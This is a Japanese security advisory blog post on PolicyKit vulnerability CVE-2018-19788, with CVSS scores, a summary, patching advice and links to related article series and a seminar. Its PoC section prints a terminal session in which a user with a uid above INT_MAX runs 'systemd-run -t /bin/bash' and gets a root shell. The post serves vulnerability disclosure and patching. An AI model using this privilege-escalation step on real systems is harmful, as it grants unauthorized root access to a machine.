こんにちは。SIOS OSSエバンジェリスト/セキュリティ担当の面 和毅です。
12/03/2018にPolicy Kitの脆弱性情報(Moderate: CVE-2018-19788)が公開されています。条件が特殊なのが前提になりますが、簡単に再現(PoC)が出来るため、今回はこちらの脆弱性の概要と、各ディストリビューションの対応について簡単にまとめてみます。
Priority
- CVE-2018-19788
Moderate
- SuSE
- CVSS v3 Base Score: 4.8
- Vector: AV:L/AC:L/PR:H/UI:R/S:U/C:L/I:N/A:H
- Red Hat Customer Potal
- CVSS v3 Base Score: 7
- Vector: CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
- NVD
- SuSE
修正方法
各ディストリビューションの情報を確認してください。
CVE概要(詳細はCVEのサイトをご確認ください)
- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19788
- ローカルユーザによる任意のコマンド実行と特権昇格の可能性
- 重要度 – Moderate
- PolicyKit 0.115に問題が見つかりました。INT_MAX以上のuidを持つユーザは任意のsystemctlコマンドを実行することが可能で、これを利用して特権を昇格することが可能です。
PoC
testuser@localhost:~$ id
uid=4000000000(testuser) gid=4000000000(testuser) groups=4000000000(testuser)
testuser@localhost:~$ systemd-run -t /bin/bash
(process:1355): GLib-GObject-WARNING **: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
Running as unit: run-u11.service
Press ^] three times within 1s to disconnect TTY.
root@localhost:/#
root@localhost:/# id
uid=0(root) gid=0(root) groups=0(root)
主なディストリビューションの対応方法
詳細は、各ディストリビューションの提供元にご確認ください
対処方法
各ディストリビューションの案内に従い、アップデートを行ってください。全てのRed Hat製品でパッチが行き渡っているかを確認するには、Red Hat SatelliteやKatello、Spacewalk等を使うと管理が便利でしょう。
セキュリティ系連載案内
- OSSセキュリティ技術の会による日経Linuxでの連載「IoT時代の最新SELinux入門」がITPro上で読めるようになりました。技術の会代表で第一人者である中村さん等による、最新のSELinuxの情報やコマンド類等も更新されているのでお薦めです。
- OSSセキュリティ技術の会によるThinkITでの連載「開発者のためのセキュリティ実践講座」がThinkIT上で開始しました。技術の会の中の人間で、最新の代表的なOSSセキュリティ技術を紹介していきます。
- OSSセキュリティ技術の会により、ThinkITでLinuxSecuritySummit 2018のレポートが紹介されています。
- OSSセキュリティ技術の会の面により、@ITで「OSS脆弱性ウォッチ」が連載されています。
- OSSセキュリティ技術の会の面により、@ITで「OpenSCAPで脆弱性対策はどう変わる?」が連載されています。
- OSSセキュリティ技術の会のメンバーにより、@ITで「Berkeley Packet Filter(BPF)入門」が連載されています。
セミナー情報
2019/01/09 18:30-20:30で、「OSSライセンスMeetup Vol.1」を行います。
今回は技術評論社刊「OSSライセンスの教科書」著者・上田さんを迎えて刊行に至った理由・本著に込めた思い・見どころなどを語っていただき、後半ではテクニカルライター可知豊さんと共に上田さんと本書についてのディスカッションを行います。
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